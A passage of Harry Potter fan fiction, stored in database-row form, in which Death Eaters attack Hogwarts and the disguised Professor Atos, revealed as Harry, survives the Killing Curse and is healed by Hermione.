unconscious or dead in the snow, and one, a sixth year Gryffindor, had sided with the Death Eater students, so they were five against eight. Despite this, they fought bravely, and they had the advantage of their brooms. However, more Death Eaters were approaching, coming out of the Forbidden Forest. The teachers hesitated, and for a couple of seconds they just stood, staring. Then, a particularly strong stunning spell from Hermione crushed the Death Eaters shield, an opportunity the teachers used well, and seconds later all eight were down. The other students sighed in relief, except Hermione. She had, as the teachers had, noticed the Death Eaters coming out of the Forbidden Forest.</p>\n\n<p>~*~</p>\n\n<p>Hermione was confused. Really confused. Here, she thought that she was in love with Harry, though knowing that something between them would never happen. Yet, she had started to have feelings towards Christian Atos, her professor, something that was considered impossible as she was a Pectal. But she felt so comfortable with him, the way they could talk, the way he behaved. She considered him more as a friend than a professor, and she needed friends. Harry and Ron had been her only friends, but she and Ron had slipped apart the last few years, and Harry&#8230; Well, he wasn&#8217;t there.</p>\n\n<p>Many times, after she had admitted to herself that she had feelings for Harry, somewhat about two years too late, she&#8217;d dreamt about him. Sometimes, in her dreams, they had kissed, but other times, he had just been there for her, comforting her. She always woke up feeling safe and confident after those dreams. Christian had the same effect on her. Though he didn&#8217;t take her in his arms and hug her or kiss her, he could place a hand on her shoulder when he saw she was frightened, and with a few comforting words have her back to her old self. She needed that. She knew that with her Powers she would have to be active in the fight against Voldemort. She could not run away when she was that strong, strong enough to provide protection and shelter. She knew that, and it scared her.</p>\n\n<p>But the confusing thing was that Harry had -in her dreams- started to turn into her professor, something that made her embarrassed. He always ended out as Harry, but if she had one of those dreams where they kissed, and she suddenly looked up into a couple of blue eyes, or finding her fingers playing with dark brown hair, she always yelped in shock, before she woke up, thoroughly embarrassed. Was it normal to have such fantasies, about <i>two</i> different boys? Especially when she, theoretically, could only fall in love with <i>one</i> person? Hermione decided he had to get her mind onto something else, and therefore she decided to watch the Gryffindor Quidditch team as they practised. Ron was the captain now, and chaser, while Ginny was the seeker. She wasn&#8217;t as good as Harry had been, though.</p>\n\n<p>It was a nice day, it was cold though the sun was shining, almost blinding them when reflected in the snow. Hermione watched as they zoomed around, but it was cold outside, so after a while she decided to go back to the castle. As she rose, and started walking back, she saw seven other students approaching the Quidditch pitch. Hermione couldn\'t hear McGonagall, when she told the students to assemble in the Great Hall, so she couldn&#8217;t know that everything wasn&#8217;t as it was supposed to be. She soon discovered it though. </p>\n\n<p>They hadn&#8217;t seen her, but she saw one of them, a Hufflepuff, raise his wand and fire a stunning curse. A second year Gryffindor, one of the new chasers, fell off his broom and hit the snow with a &#8216;flop&#8217;. Hopefully, the snow prevented him from being killed in the fall. Hermione and the other Gryffindors stared in shock. Then a new &#8216;flop&#8217; could be heard. A sixth year Gryffindor, Samuel Johnson, had stunned the Gryffindor keeper, and they saw him aiming at Ron. Now, the Gryffindors may be described as &#8216;stupid, impulsive, goody-two-shoes&#8217; by the Slytherins, but no one can say they are slow. Startled and confused, Ron managed to dodge the curse by inches. Hermione froze when she realised it had been the Avada Kedavra curse. But, being the brave Gryffindor she was, she quickly charmed her eyes so they would look brown even though she used her Pectal powers, and had a stick, an aiming stick, as Professor Atos had told her to make, ready. She could now use her Pectal powers, and no one would suspect anything, as the aiming stick looked exactly as her wand. <i>Don&#8217;t use your Powers too much, Hermione</i>. She reminded herself. <i>You&#8217;ll just tire yourself.</i> Then she flung herself into the fight.</p>\n\n<p>To Hermione it felt like hours, but it was only minutes. Neither of the sides intended to give in, and the attackers had put up powerful shields, which they couldn&#8217;t get through, and Hermione didn&#8217;t dare to use her Powers if it wasn&#8217;t absolutely necessary. But when their attackers started using the Cruciatus Curse and the Killing Curse instead of the Stunning Curse or other not-so-dangerous curses, Hermione decided she had to do something. Without anyone noticing, she switched her wand for her AS (Aiming Stick), and concentrated. A blast of power later, and their shield was down. It was then the teachers decided to make their appearance. </p>\n\n<p>Soon, they were all down, but just as Hermione was about to cheer, she felt the presence of something evil, and it was not the students who had attacked them who was the source. She turned, and behind her, out of the Forbidden Forest, came at least fifty Death Eaters. Hermione gasped. They had no chances of reaching the castle! Hermione froze in fear. She was to young to die! She hadn&#8217;t yet graduated!</p>\n\n<p>Then, Professor Atos was there. Hermione&#8217;s mind snapped out of panic. She took a deep breath, and fired a stunning curse through the stick. It hit one of them square in his chest, and flung him and two others to the ground. Professor Atos smiled approvingly but stiffly, concentrating on his own fight. Hermione was amazed at her own powers; she had never used them in a fight before. She also noticed that her Professor knew quite a number of curses she didn&#8217;t, so she started to imitate him, using some of the curses she saw him use. She focused on her task, and barely noticed the other teachers and students, who also were fighting around them.</p>\n\n<p>Yet, the attackers were too many, and the defenders too few. Hermione guessed that they had orders not to kill, cause no one was dead yet, at least she didn&#8217;t think anyone was, but that made her even more terrified. What if they had orders to take everyone as prisoners! She would rather be dead than captured by Death Eaters! She sensed someone behind her back, turned quickly and disarmed two Death Eaters who was about to stun her or kill her. She heard somebody yell, and the same words were repeated over and over again. </p>\n\n<p><i>&#8220;Get the girl! If we cannot catch her, then we&#8217;ll kill her!&#8221;</i></p>\n\n<p>It dawned for her. They knew! They knew about her! They were here to take her! Dead or alive! Everyone went for her! Terrified she looked around. Only Dumbledore, Atos, McGonagall, Ron and Ginny were standing. <i>We&#8217;re losing,</i> Hermione thought terrified. <i>They&#8217;re too many, and we&#8217;re too few. We&#8217;re going to die.</i>\n\n</p>\n\n<p>A sudden movement. One of the Death Eaters raised his wand and pointed at her. They had decided that she was better dead than alive.</p>\n\n<p>&#8220;Avada Kedavra!&#8221; he shouted. As in a trance, Hermione saw the green light come closer. And closer. And closer. </p>\n\n<p>Then&#8230;</p>\n\n<p>&#8220;Hermione!&#8221; In slow motion, she saw Professor Atos throw himself in between her and the curse. It hit him on the left side of his head, and he was thrown backwards, over her head and landed in the snow behind her. </p>\n\n<p>Hermione screamed. </p>\n\n<p>Just then, about 80 Aurors could be seen, on brooms heading towards them. The Death Eater sneered, and again he directed his wand at Hermione.</p>\n\n<p>====================</p> '),
	(234, 7, ' <p><b>Chapter Seven: Trust Your Instincts</b>\n\n</p>\n\n<p>&#8220;Avada Ke-&#8220; </p>\n\n<p>He never finished.</p>\n\n<p><i>&#8220;Expelliarmus!&#8221;</i> someone shouted. The Death Eater&#8217;s wand flew out of his hand. &#8220;Shetark!*&#8221; the same voice cried. The Death Eater fell, like if someone had given him a really hard knock on his head. </p>\n\n<p>Time stopped. Everybody turned, Death Eater, student and teacher. Behind Hermione stood Professor Atos, on his one knee, pale as a ghost, arm outstretched and wand pointing at the Death Eaters, shivering slightly. His other arm embraced his stomach where you could see blood slowly and silently seeping out and dripping in small drops onto the snow, colouring it in a crimson colour.</p>\n\n<p>Professor McGonagall&#8217;s jaw dropped, and Ginny fell off her broom, as everyone stared at Christian, forgetting about the great peril they were in. Fortunately, the Death Eaters now noticed the approaching Aurors, and seeing as these people apparently had found a way to shield the Killing Curse, they decided that they would rather face a furious Voldemort, than a furious Auror squadron. So therefore, they fled. They transfigured whatever they found into broomsticks or something similar, and mounted as they fired curses against the Aurors. If they had managed to stay calm they could in fact have defeated them, as the Aurors had split up and half of them went to help the defenders of the Great Hall, which also was under attack. But the Death Eaters panicked and fled, running and flying here and there, and made themselves easy targets for the Aurors, who soon had the situation under control. Only a few could return to their Lord that day. As most of the Aurors were running around catching Death Eaters, their leader and a few others, Hermione, Dumbledore, McGonagall, Ron and Ginny gathered around Christian, most of them in shock, not believing what they had seen. Though, if Dumbledore was surprised, he didn&#8217;t show it. Professor Atos struggled to his feet, and stood swaying a couple of seconds. Then he slumped to the ground, unconscious.</p>\n\n<p>Dumbledore was at his side in an instant and turned him over, so he lay face up. His eyes were closed, but he was breathing, though forcefully. </p>\n\n<p>Quickly, Dumbledore got Christian onto a stretcher he conjured up, and the same thing was done to the other unconscious students and teachers who were wounded, not only stunned. Professor Flitwick was one of them; as he was a skilled dueller he had disabled quite a few of the Death Eaters, and in the end one of them had managed to hit his wand-hand with a cutting curse. One could only hope he ever would be able to use it properly again.</p>\n\n<p>Carefully they approached the Great Hall, in case the Death Eaters had managed to take it. To their great relief, the Aurors and the Order of Phoenix had everything under control, and no students, except those who had been on the Quidditch pitch, had been involved in the fight. They had been lucky. Hurriedly, the injured were brought up to the Hospital Wing, where Madam Pomfrey already had her hands full. As she started fussing over Professor Atos, Hermione asked the question everybody (who had seen it) thought of.</p>\n\n<p>&#8220;Professor, how could he survive the Killing Curse?&#8221; she asked, bewildered, worried and scared.</p>\n\n<p>Professor Dumbledore shook his head. &#8220;I don&#8217;t know, Miss Granger. We&#8217;ll have to ask him when he wakes up.&#8221; Then, as an afterthought, he added: &#8220;<i>If</i> he wakes up.&#8221;</p>\n\n<p>~*~</p>\n\n<p>&#8220;Poppy, how is he?&#8221; Dumbledore asked. </p>\n\n<p>Madam Pomfrey sighed. &#8220;Not good, Albus. I don&#8217;t think he&#8217;ll live.&#8221; She shook her head sadly. &#8220;And such a fine young man he is, too.&#8221;</p>\n\n<p>&#8220;Yes, he is.&#8221; Dumbledore said, thoughtfully. &#8220;Is it the Avada Kedavra which is killing him, Poppy? Or is it something else?&#8221; </p>\n\n<p>&#8220;It is not the Killing Curse. I can find no sign of this curse on him, but you say he was hit by it, so I have to believe you. Mind you, Headmaster, if it hadn&#8217;t been you who told me this, I would never believe it. But it isn&#8217;t the curse, it is his wounds. One of them I could heal pretty easily, as it was caused by a simple cutting curse. It&#8217;s the other one which worries me. I&#8217;ve never seen anything like it. It seems like someone has cast a curse which not only cut the victim, but also ages the wound and gives it an infection. I would say it&#8217;s a two month old wound with an infection, but it couldn&#8217;t possibly be that, as he must have got it in the fight today. So I guess it must be a newly invented curse, and I cannot heal it. I fear if I try it will kill him.&#8221; Madam Pomfrey looked distressed at the thought of not being able to heal a person, and she hurriedly left as one of her other patients needed her expertise, or &#8216;fussing&#8217; as so many students had called it. Not so she could hear it of course. Professor Dumbledore stroked his beard thoughtfully. If not everybody had been in such a complete shock after the attack on Hogwarts, someone might have noticed that he was uncommonly thoughtful, even for him. </p>\n\n<p>When Madam Pomfrey had finished her check on Professor Flitwick&#8217;s damaged wrist, and announced to a happy Professor that his wrist was healing well, and would be completely as before again, Dumbledore quietly told her to move Professor Atos over to a private room. He knew one who could help.</p>\n\n<p>~*~</p>\n\n<p>&#8220;But what if I do it wrong? What if he dies?&#8221; Hermione asked, her voice shivering slightly.</p>\n\n<p>&#8220;Don&#8217;t worry, Miss Granger. No matter what you do, you can&#8217;t do any worse than it already is. He&#8217;s dying.&#8221; Hermione gasped as Professor Dumbledore confirmed what she already suspected. As a Healer she could sense if someone was dead or just sleeping, and though this part of her gift hadn&#8217;t developed much yet, she could almost feel the grip death had on her Professor. <i>He saved your life. You owe him this. You have to try at least,</i> her inner voice told her. She took a deep breath and walked over to the chair beside the bed. Madam Pomfrey looked somewhat confused, though Dumbledore had told her that Hermione had a Healing Talent. Hermione couldn&#8217;t blame her.</p>\n\n<p>Hermione forced herself to relax, and started her &#8216;search&#8217;. All she had to do was to touch his shoulder lightly. She sent small silver threads into him, searching for damaged parts. She knew she could heal him, if she only could find the wound&#8217;s core. Her magic would then help his cells to heal faster. She concentrated so hard on her task that she didn&#8217;t hear Madam Pomfrey&#8217;s amazed gasp when she saw Hermiones&#8217; silver eyes. Her first tries to use her Powers had only caused her pupils and irises to turn silver, but now, the whole eyeball was silver. And this was the difference between the Healing Talent, the Shapeshifting Talent and the other Talents. You didn&#8217;t need to have Pectal or Citatio Powers for any of the Talents, except this Healing and Shapeshifting, but yet, not every Pectal and Citatio had the gift. It was a Talent among the Citatios and Pectals, and no average witch or wizard could have it. Hermione didn&#8217;t know if Citatios could have it either. Maybe it was a Talent only Pectals could have. Hermione suspected that it wasn&#8217;t the only &#8216;special&#8217; Talent, the &#8216;others&#8217; just hadn&#8217;t been discovered yet. After all, it was a thousand years since the last Pectal and Citatio lived.</p>\n\n<p>As she &#8216;searched&#8217; deeper she could feel his magic, the magic which is in everyone, even muggles. The difference between muggles and magicians are that the magic in muggles cannot be released, but muggles <i>have</i> magic. They just can&#8217;t <i>use</i> it. </p>\n\n<p>As she &#8216;searched&#8217; his magic, she noticed that he was a strong wizard. She could sense the &#8216;threads&#8217; of magic in him, and he was currently using a bit. He had two &#8216;knots&#8217; on the &#8216;threads&#8217;, one big one, and one smaller one. Pectals and Citatios was able to &#8216;analyse&#8217; magic, and the small one had to be a charm or something, though it couldn&#8217;t possibly be something taking much power, as the remaining &#8216;threads&#8217; showed him so powerful. She decided she wouldn&#8217;t touch it, as she didn&#8217;t know what it was. Probably an easy wandless spell, which every wizard or witch could do. Later, she would discover that this small knot was the magic which held the &#8216;Christian-form&#8217; in place, and that it took pretty much of his power. If she had removed it, she would have been able to see the full extent of his power. He would also transform back to Harry. </p>\n\n<p>The bigger knot however, was made with a wand. It was an advanced spell, but it was &#8216;dead&#8217;. It wasn&#8217;t functioning anymore. It was a kind of &#8216;use-and-trash&#8217; spell. She quickly un-tied it, and for a second his body glowed blue. Hermione frowned, but she couldn&#8217;t find that anything had happened, except that the big knot was gone.</p>\n\n<p>She ignored the smaller &#8216;knot&#8217; and followed the magical &#8216;streams&#8217; in Christian&#8217;s body. If a wizard -or muggle- is hurt, his or her magic will automatically try to heal him; it is called the &#8216;healing process&#8217;. But without steering it will not heal properly, and only Pectals/Citatios with Healing Talent can steer and strenghten it, though medi-wizard and &#8211;witches&#8217;s healing potions and charms, and muggle medecine can help it a great deal. </p>\n\n<p>Now all Hermione had to do, was to find the place where his magic centred, and she would find the place where she should start her healing process.</p>\n\n<p>She almost gasped when she found it. Injured and destroyed cells, many of them infected. The sickness had not yet reached any organs, but it would have in a day or two. Quickly she began the healing, and her magic joined his magic in the process. She took the control and together their magic was stronger than the infection. Cell upon cell was rebuilt, infection upon infection was defeated. It was almost like a battle-ground, where she didn&#8217;t lose a centimetre, but gained ground every second.</p>\n\n<p>Finally nothing was left to heal. Slowly but surely she withdrew. Her magic had been so long in his body that he needed a few seconds to get used to his own magic again. At least she was out. She managed to notice that it was dark outside; she&#8217;d been there for hours. Then she fainted of exhaustion.</p>\n\n<p>~*~</p>\n\n<p>The exhausted Hermione was placed in a bed in a private room. Madam Pomfrey had checked her and found nothing but total exhaustion. Fortunately for Hermione, her cover-story had been &#8216;lessons with Madam Pomfrey&#8217;, so no one would get suspicious when she didn&#8217;t return to the Gryffindor common room at once. They would only assume that she was helping the injured. Dumbledore returned to his office, where he had a long conversation with the leader of the Auror squadron, Jonathan Storm. He was a young, sympathetic man, and he could tell Dumbledore that his commanders did everything they could to get Fudge removed. Though the man had admitted that You-Know-Who had returned, Fudge was doing his best to make Storm&#8217;s job as difficult as possible. He refused to let anyone be trained as Aurors, and he <i>still</i> refused to let out the truth about Harry Potter. </p>\n\n<p>&#8220;Quote: &#8216;Such information will set our world in an uproar. We don&#8217;t know if it&#8217;s true either; this &#8216;illusion&#8217; could be a trick from Potter.&#8217; Unquote.&#8221; The brown haired man sighed. &#8220;And he won&#8217;t even <i>listen</i>! Mr. Potter is both powerful and smart when he&#8217;s able to escape Azkaban and keep us fooled with an illusion for two years! How old was he at the time? Sixteen?&#8221;</p>\n\n<p>&#8220;Fifteen,&#8221; Dumbledore answered.</p>\n\n<p>&#8220;Oh. Well, it cannot be a hoax. And not one of our spies among the Death Eaters has told anything about him, so he isn&#8217;t trying to join You-Know-Who either.&#8221; Jonathan said, dejected. &#8220;But will Fudge listen? Noooo.&#8221; </p>\n\n<p>Dumbledore chuckled. &#8220;An election is planned, and will take place in a month or so. I do not believe that Cornelius will be re-elected. We must also make sure that Lucius Malfoy is not elected, something that can happen, as he has many supporters.&#8221;</p>\n\n<p>&#8220;But that&#8217;s easy!&#8221; Jonathan exclaimed. &#8220;You say his son was the one who invited them in. That should be enough.&#8221;</p>\n\n<p>&#8220;I&#8217;m afraid not, Jonathan. My binding to the shields and Hogwarts herself can tell me who invited them, and where they are when they are on Hogwarts\' ground, but there is no way I can prove it,&#8221; Dumbledore replied.</p>\n\n<p>Jonathan sighed. &#8220;And we won&#8217;t get anything out of those we captured, as they don&#8217;t know anything. Then how are we going to kick Malfoy&#8217;s ass?&#8221; Then he blushed, as he realised what he&#8217;d said, in front of the one wizard Voldemort feared. </p>\n\n<p>Dumbledore smiled amusedly. &#8220;Ah, how are we going to do that?&#8221; he asked no one in particularly. Jonathan sat up eagerly; he&#8217;d worked a bit together with the Headmaster, though he was almost a century older than him, and knew this look.</p>\n\n<p>&#8220;What do you have in mind?&#8221; he asked. The Headmaster was planning something, that much was obvious.</p>\n\n<p>&#8220;A niece of Professor McGonagall will help us.&#8221; When Dumbledore saw the confused look at the younger man&#8217;s face, he continued. &#8220;Marice Newman. She didn&#8217;t flee to Asia as many believed.&#8221; The confused expression on Jonathan&#8217;s face turned to one of delight.</p>\n\n<p>&#8220;How excellent! She will be able to get people to distrust Malfoy!&#8221; Then he raised an eyebrow at the Headmaster. &#8220;Honestly Albus, how did you end up in Gryffindor?&#8221; Dumbledore chose to ignore the question.</p>\n\n<p>&#8220;And we need a valid candidate. One who will take the problem seriously, and then we need Marice to &#8216;recommend&#8217; him.&#8221; Dumbledore said, and Jonathan grinned. The man had a plan for everything! &#8220;Do you have anyone who would be fitting for the position?&#8221; Dumbledore then asked. </p>\n\n<p>Jonathan frowned. &#8220;I&#8217;d like to have someone close to the Aurors and The Order of Phoenix. Preferably a secret Order of Phoenix member working at the Ministry.&#8221;</p>\n\n<p>&#8220;You and I have the same person in mind then?&#8221;</p>\n\n<p>&#8220;If you are thinking Arthur Weasley; yes,&#8221; Jonathan answered. </p>\n\n<p>&nbsp;&#8220;Indeed.&#8221; Dumbledore said. &#8220;Marice will do what she can. But now, to more urgent matters.&#8221; Dumbledore turned serious. &#8220;It worries me that they managed to attack Hogwarts. We need more protection. Frankly speaking I didn&#8217;t believe that Voldemort&#8221; &#8211;Jonathan flinched- &#8220;would attack the school so soon. I didn&#8217;t think he was strong enough.&#8221;</p>\n\n<p>&#8220;That will be taken care of. I have orders to leave twenty of my men here at Hogwarts, and powerful spellcasters will be sent to put up additional wards,&#8221; the Auror said. &#8220;Of course, we cannot provide absolute protection, but no one can in these days.&#8221;</p>\n\n<p>Dumbledore nodded. &#8220;I understand.&#8221; </p>\n\n<p>They sat in silence a while, both men in deep thought. Jonathan spoke first. &#8220;I&#8217;m astounded, I didn&#8217;t know anyone could survive the Avada Kedavra curse.&#8221;</p>\n\n<p>&#8220;Indeed, I have only heard of it once. And then Lily Potter provided it.&#8221; Dumbledore raised an eyebrow. &#8220;He&#8217;s still unconscious in the Hospital wing. We have to wait until he awakes before we can question him.&#8221;</p>\n\n<p>&#8220;I&#8217;d like to know more about him; he&#8217;s a better dueller than my best men. He must be very powerful.&#8221; Jonathan said.</p>\n\n<p>&#8220;Indeed,&#8221; Dumbledore answered. &#8220;He&#8217;s a very good Defence Against the Dark Arts Professor too. His parents were Death Eaters. He escaped from them and came to Beauxbatons.&#8221; </p>\n\n<p>Jonathan&#8217;s eyebrows went up. &#8220;Death Eaters you say? Do you know their names?&#8221;</p>\n\n<p>&#8220;Ahh, yes. Let me think&#8230;Anderson. Eric and Michelle Anderson. He changed his name to Atos when he came to Beauxbatons, not to be recognised.&#8221; Dumbledore said, and Jonathan frowned again.</p>\n\n<p>&#8220;Anderson? I just&#8230;&#8221; </p>\n\n<p>Dumbledore looked at him curiously.&nbsp; &#8220;Something wrong?&#8221; </p>\n\n<p>Jonathan shook his head. &#8220;No, I just didn&#8217;t know they had a son. Of course, the Eric Anderson I&#8217;ve heard of doesn&#8217;t have to be Mr. Atos father.&#8221; He paused. &#8220;You don&#8217;t mind if I do some research on him?&#8221; </p>\n\n<p>Dumbledore shook his head. &#8220;Not at all.&#8221; </p>\n\n<p>Jonathan nodded thoughtfully, not noticing he&#8217;d sent Dumbledore deeper into thought. After a while Dumbledore broke out of his thoughts, and into Jonathan&#8217;s.</p>\n\n<p>&#8220;Now, I think that was all. When do you leave?&#8221; the Headmaster asked.</p>\n\n<p>&#8220;Tomorrow I guess, <i>after </i>I&#8217;ve spoken to Mr. Atos.&#8221; Jonathan replied pointedly, emphasising that there was no way the Headmaster could stop him.</p>\n\n<p>&#8220;Very well,&#8221; Dumbledore answered, somewhat amused. &#8220;We&#8217;ll talk then. Good night.&#8221;</p>\n\n<p>&#8220;Good night,&#8221; Jonathan said, and left the Headmaster to his own thoughts.</p>\n\n<p>~*~</p>\n\n<p><i>Darkness. Pain. But what was that smell? Then he recognised it. The all too familiar &#8216;Hospital Wing&#8217; smell. He groaned. Not again!</i>\n\n</p>\n\n<p>Harry stirred and tried to open his eyes. He shut them immediately, as he found the light painfully bright. He groaned again, and tried to move, but stopped, as pain shot through his body. <i>What happened?</i> He opened his eyes again, more cautiously. He could see the blurred form of the Headmaster. <i>What a surprise. Isn&#8217;t he always here when I decide to get myself killed?</i></p>\n\n<p>&#8220;Harry?&#8221; Dumbledore said. &#8220;Can you hear me?&#8221; </p>\n\n<p>Harry grunted. &#8220;Yes, I can hear yo-&#8220; Memories came flooding back, Christian, The Golden Mask, Azkaban, Voldemort, the fight. &#8220;Shit.&#8221; <i>Noooo! How could I be so stupid!!! </i>Harry did his best to resist the temptation it was to jump out of the window. Dumbledore didn&#8217;t seem to hear his cursing. </p>\n\n<p>&#8220;Indeed,&#8221; he said. &#8220;To think you&#8217;ve been here all term, and I didn&#8217;t find out. I&#8217;m getting old.&#8221; </p>\n\n<p>Harry continued to curse himself in his head.<i> Damn! Damn! DAMN!</i>\n\n</p>\n\n<p>&#8220;No need to be so angry,&#8221; Dumbledore continued. &#8220;I haven&#8217;t told anyone. In fact you only just confirmed my suspicions.&#8221; </p>\n\n<p><i>I&#8217;m gonna hang myself. No, scratch that; jump off a cliff.</i>\n\n</p>\n\n<p>&#8220;And now I&#8217;m curious. Are you really the Citatio?&#8221; Dumbledore asked.</p>\n\n<p>Harry groaned. Despite the pain he drew himself up in a sitting position, and managed to get Dumbledore into focus. He glared at the Headmaster, who seemed overly amused.</p>\n\n<p>&#8220;You know I could blast you from here to the South Pole without much effort?&#8221; he asked.</p>\n\n<p>&#8220;I&#8217;ll take that as a &#8216;yes&#8217;.&#8221; </p>\n\n<p>Harry groaned again and laid his head in his hands. It was no use remaining in this &#8216;Christian&#8217; form any longer, and he sensed powerful silencing and locking charms on the whole room. He then noticed that it wasn&#8217;t the Hospital Wing. <i>Oh, great. I&#8217;ve got my own room. Does Madam Pomfrey think I&#8217;m going to make this a habit? </i></p>\n\n<p>He searched inside himself and froze. His hand went to the infected wound. It wasn&#8217;t there. His eyes widened in fear, and he searched frantically for the small disturbance or &#8216;knot&#8217; in his magic which held &#8216;Christian&#8217; in place. Then he sighed. It was still there, un-changed. Hermione hadn&#8217;t touched it when she healed him. She&#8217;d only removed the remainder of the Avada Kedavra block. What if she suddenly had found herself healing her Professor in one second, and then him the next? Catastrophe was an understatement. He removed it. </p>\n\n<p>&#8220;My, my, Harry, you have changed.&#8221; Dumbledore said, eyeing the youth in front of him. And he had. The scrawny little boy he&#8217;d had as a student two years ago was gone. He was still lean and slender, but now tall, muscled and well-proportioned. His emerald-green eyes shone with a special and intense light, and his unruly black hair was as unruly as ever, though shorter.</p>\n\n<p>&#8220;Two years is a long time,&#8221; Harry answered calmly. &#8220;Especially when you are alone.&#8221; Dumbledore sighed when he heard the bitterness in his voice. It wasn&#8217;t much, but it was there. It hurt to know that he had been one of those who caused it.</p>\n\n<p>&#8220;Harry, I have, for the whole year wanted to apologise for what I did.&#8221; Harry was silent. There was no need for the Headmaster to apologise, as he had forgiven him long ago, but he sensed that it was important to him, if not only for his own sake. &#8220;I know it cannot change what happened, and I know it is stupid to go around and feel guilty, as I told you numerous times after your fourth year. And despite the potion I was given, I feel like I should have known better. So I&#8217;m sorry.&#8221; </p>\n\n<p>Harry smiled slightly.&#8220;Thank you, Professor. I have already forgiven you. And as you said, nothing can change the past. But now I want to know how you figured it.&#8221; </p>\n\n<p>Dumbledore chuckled. &#8220;Ahh. I didn&#8217;t start to suspect you before you started the training with Ms. Granger. You seemed to know what she felt and thought, like you had been friends for a long time. I also suspected that you &#8211;though I didn&#8217;t know it was you then- were the Citatio, and you knew very much about them, being the seventeen year old you are. Later, I noticed that you were very familiar with the castle; you didn&#8217;t come too late to <i>one</i> staff-meeting with the excuse &#8216;I got lost&#8217;, you knew about the Slytherin-Gryffindor rivalry-&#8220;</p>\n\n<p>&#8220;What!&#8221; Harry exclaimed. &#8220;I tried to hide that fact!&#8221;</p>\n\n<p>&#8220;You also managed it. To everybody except me. You also seemed overly amused when conversing with Severus, as if you knew something he didn&#8217;t.&#8221; Dumbledore said.</p>\n\n<p>Harry grinned. It had been very funny playing with Snape. He could only hope he never found out. Dumbledore continued. &#8220;The final piece snapped into place when I told Jonathan Storm that you&#8217;d said you were the son of Eric and Michelle Anderson. He didn&#8217;t seem to think that the couple had a son.&#8221;</p>\n\n<p>Harry nodded. &#8220;I know, it was the only flaw in my plan. But to my defence I have to say that I didn&#8217;t have much time. I had to get into Beauxbatons as fast as possible and get my graduation papers, so I had a background-story.&#8221;</p>\n\n<p>&#8220;Indeed. But you graduated after only a year. Where were you the following year?&#8221; The Headmaster inquired, and Harry sighed. It was no use in keeping secrets from him, he could might as well tell him.</p>\n\n<p>&#8220;Oxford,&#8221; he said. &#8220;I took some muggle courses. That&#8217;s how I found out how to block the Avada Kedavra.&#8221;</p>\n\n<p>&#8220;You aren&#8217;t the only wizard who has taken muggle courses, Harry,&#8221; Dumbledore said.</p>\n\n<p>&#8220;No, but I&#8217;m the most brilliant so far. I think, only Hermione could do it better than me.&#8221; He said it in a normal tone, not bragging. </p>\n\n<p>&#8220;Yes, indeed.&#8221; Dumbledore said. &#8220;She refused to skip sixth year and go directly to seventh. Wouldn&#8217;t be an outsider, she said.&#8221; </p>\n\n<p>Harry smiled slightly. That was Hermione all right. Beautiful, loving, sweet Hermione. He sighed. He couldn&#8217;t disregard it anymore; he had admitted for himself that he <i>had </i>feelings for her. Not as a Professor, not as a friend, but as something more. He&#8217;d even come so far that he felt he could trust her. But he wouldn&#8217;t let himself trust her. He had to tell her, soon, and then it would be difficult to keep the professional distance he needed. She was growing stronger, and he feared the day when she would discover her Soul-Searching. If she didn&#8217;t know about him then, she would find out by reading his memories, as no mental shield could stand against Soul-Searching when not controlled, and that was why everyone who was discovered to have this Talent were &#8216;stilled&#8217;, as it was called. A block was placed in his or her mind, so the person wasn&#8217;t able to read memories unless another person used the special &#8216;Memory Block&#8217; charm to remove it. Only a few persons knew this charm, everyone were questioners for the court, and when they stepped down their memory were modified. This were done to persons who had the Mind-readinga Talent too. However Harry wouldn&#8217;t allow this to happen to Hermione; it was to valuable in the fight against Voldemort. The only problem was that other persons with Soul-Searching Talent could sense other Soul-Searchers, even though they were stilled, and the same went for the other Talents. He knew that they sent such persons to Hogwarts regularly to check on the students, and he&#8217;d had lot of trouble hiding from them when he was a student.</p>\n\n<p>But the main problem was that the same thing as when she discovered her Empathy would happen; she would read everybodys&#8217; memories until she figured how to control it. He had to tell her before that happened, because if he didn&#8217;t, he doubted <i>she </i>would ever trust <i>him.</i> He shook it off. They didn&#8217;t need trust, only co-operation. And whether she liked it or not, they would soon be forced to co-operate. He didn&#8217;t like it in the least- He cursed himself again. His head had probably not recovered properly from the Avada Kedavra.</p>\n\n<p>&#8220;Hermione!&#8221; he suddenly exclaimed, shocked that he had forgotten to ask about her. &#8220;How is she?&#8221;</p>\n\n<p>&#8220;Exhausted and sleeping, but fine. Still in shock I believe. She was the one they were after; they knew she was a Pectal.&#8221; Dumbledore answered.</p>\n\n<p>Harry sighed in relief. &#8220;Yes, they did. I had a vision about it at the staff meeting.&#8221;</p>\n\n<p>&#8220;Ahh, so it was a vision. I thought so,&#8221; Dumbledore said.</p>\n\n<p>Harry&#8217;s eyebrows arched into his hairline. &#8220;Does <i>anything</i> go by without you noticing?&#8221; he asked incredulously.</p>\n\n<p>&#8220;Not much,&#8221; Dumbledore chuckled. Then he turned serious. &#8220;You should tell her.&#8221; </p>\n\n<p>Harry bowed his head. &#8220;I-I know.&#8221; He&#8217;d wanted to tell her more than once, when he saw her struggle with a task he&#8217;d given her, wanting to please him, but not making it; or when she was close to fainting from exhaustion; or close to tears of frustration or pain. It was <i>difficult</i> being a Citatio or a Pectal, and sometimes he so dearly wanted to scoop her into his arms and tell her that he was Harry, and that he was the Citatio. It would have made it so much easier for her. But he never did. And he hated himself for it. It was cowardly, he knew. He didn&#8217;t dare to trust her out of fear of getting hurt, and he caused her pain in the process. <i>That much for a Gryffindor.</i></p>\n\n<p>Dumbledore broke into his thoughts. &#8220;I&#8217;m going to bring Jonathan in here. He is very curious on how you managed to reflect the Killing curse. I hope, for your secrecy&#8217;s sake, that it doesn&#8217;t require Citatio Powers, because that could be difficult to explain.&#8221; Harry nodded and as Dumbledore stood, he changed back to Christian. </p>\n\n<p>&#8220;And Harry?&#8221; Dumbledore asked.</p>\n\n<p>&#8220;Yes?&#8221;</p>\n\n<p>&#8220;Remember: Always trust your instincts,&#8221; the Headmaster advised. </p>\n\n<p>It took a couple seconds before Harry realised what he meant. &#8216;Trust your instinct&#8217; was something he&#8217;d told Hermione hundreds upon hundreds of times. Dumbledore said he should trust his instincts <i>concerning Hermione.</i> He sat dumb-struck, a slight blush creeping onto his face. <i>He&#8217;s a Mind-reader or something? No, then I would know.</i> He&#8217;d didn&#8217;t often try to read anybody&#8217;s mind, but he could sense other Mind-readers when they were around. </p>\n\n<p>As if reading his mind, Dumbledore chuckled. &#8220;No, Harry, I&#8217;m not a Mind-reader. I&#8217;m an Empath.&#8221; <i>Oh. That makes sense. Explains a lot.</i> Dumbledore removed the silencing charms and locking charms and slipped out of the room. Christian laid back on his pillow. <i>But how did he manage to hide that from Hermione? As an Empath she should be able to sense other Empaths. 